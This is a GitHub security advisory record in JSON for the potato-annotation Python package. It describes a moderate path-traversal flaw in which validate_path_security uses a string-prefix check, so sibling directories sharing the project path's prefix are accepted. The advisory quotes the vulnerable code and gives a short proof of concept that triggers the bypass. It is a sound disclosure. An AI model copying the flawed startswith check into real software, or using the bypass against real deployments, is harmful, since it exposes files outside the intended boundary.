{"id":"GHSA-q9m2-fhv9-3jcf","summary":"`potato-annotation` has a Project-Boundary Bypass","details":"## Summary\n`validate_path_security` uses string-prefix containment (`startswith`) for boundary checks. This allows paths that are **outside** the intended project directory but share its prefix string (e.g., `/tmp/potato_proj_demo_evil/...` vs `/tmp/potato_proj_demo`) to be accepted.\n\n## Details\n### Affected source location (root cause)\n**File:** `potato/server_utils/config_module.py`\n\n**Snippet (lines 370–373):**\n```python\nreal_path = os.path.realpath(normalized_path)\nreal_base = os.path.realpath(base_dir)\nif not real_path.startswith(real_base):\n    raise ConfigSecurityError(...)\n```\n\n**Snippet (lines 384–389):**\n```python\nreal_path = os.path.realpath(normalized_path)\ncheck_dir = project_dir if project_dir else base_dir\nreal_check_dir = os.path.realpath(check_dir)\nif not real_path.startswith(real_check_dir):\n    raise ConfigSecurityError(...)\n```\n\n`startswith()` is string-based, so `/tmp/potato_proj_demo_evil/...` passes when checked against `/tmp/potato_proj_demo`.\n\n### Confirmed affected call sites\n**File:** `potato/server_utils/config_module.py`\n\n1) `validate_file_paths` task_dir branch (line 2113)\n```python\nvalidated_task_dir = validate_path_security(task_dir, project_dir)\n```\n\n2) `validate_file_paths` data_files branch (line 2151)\n```python\nvalidated_path = validate_path_security(file_path, base_dir, project_dir)\n```\n\n3) `validate_training_config` training.data_file branch (line 2286)\n```python\nvalidated_path = validate_path_security(data_file, base_dir, project_dir)\n```\n\n## PoC\n```python\nfrom potato.server_utils.config_module import validate_path_security\n\nbase = '/tmp/potato_proj_demo'\nvuln = '/tmp/potato_proj_demo_evil/file.txt'\n\ntry:\n    print('inside=', validate_path_security('/tmp/potato_proj_demo/file.txt', base, base))\nexcept Exception as e:\n    print('inside_error=', type(e).__name__, e)\n\ntry:\n    validate_path_security('/tmp/other_demo/file.txt', base, base)\nexcept Exception as e:\n    print('baseline=', type(e).__name__, e)\n\nprint('trigger=', validate_path_security(vuln, base, base))\n```\n\n## Impact\n- Can allow unauthorized sibling-prefix file access outside intended project boundary.\n- Can affect read paths (`data_files`, `training.data_file`, `base_css`, `header_logo`) and output/path placement depending on configuration.","modified":"2026-05-08T17:49:17.517037Z","published":"2026-05-08T17:31:07Z","database_specific":{"github_reviewed_at":"2026-05-08T17:31:07Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/davidjurgens/potato/security/advisories/GHSA-q9m2-fhv9-3jcf"},{"type":"PACKAGE","url":"https://github.com/davidjurgens/potato"}],"affected":[{"package":{"name":"potato-annotation","ecosystem":"PyPI","purl":"pkg:pypi/potato-annotation"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.4.5"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.1.0","2.2.0","2.3.0","2.4.0","2.4.1","2.4.3","2.4.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q9m2-fhv9-3jcf/GHSA-q9m2-fhv9-3jcf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}]}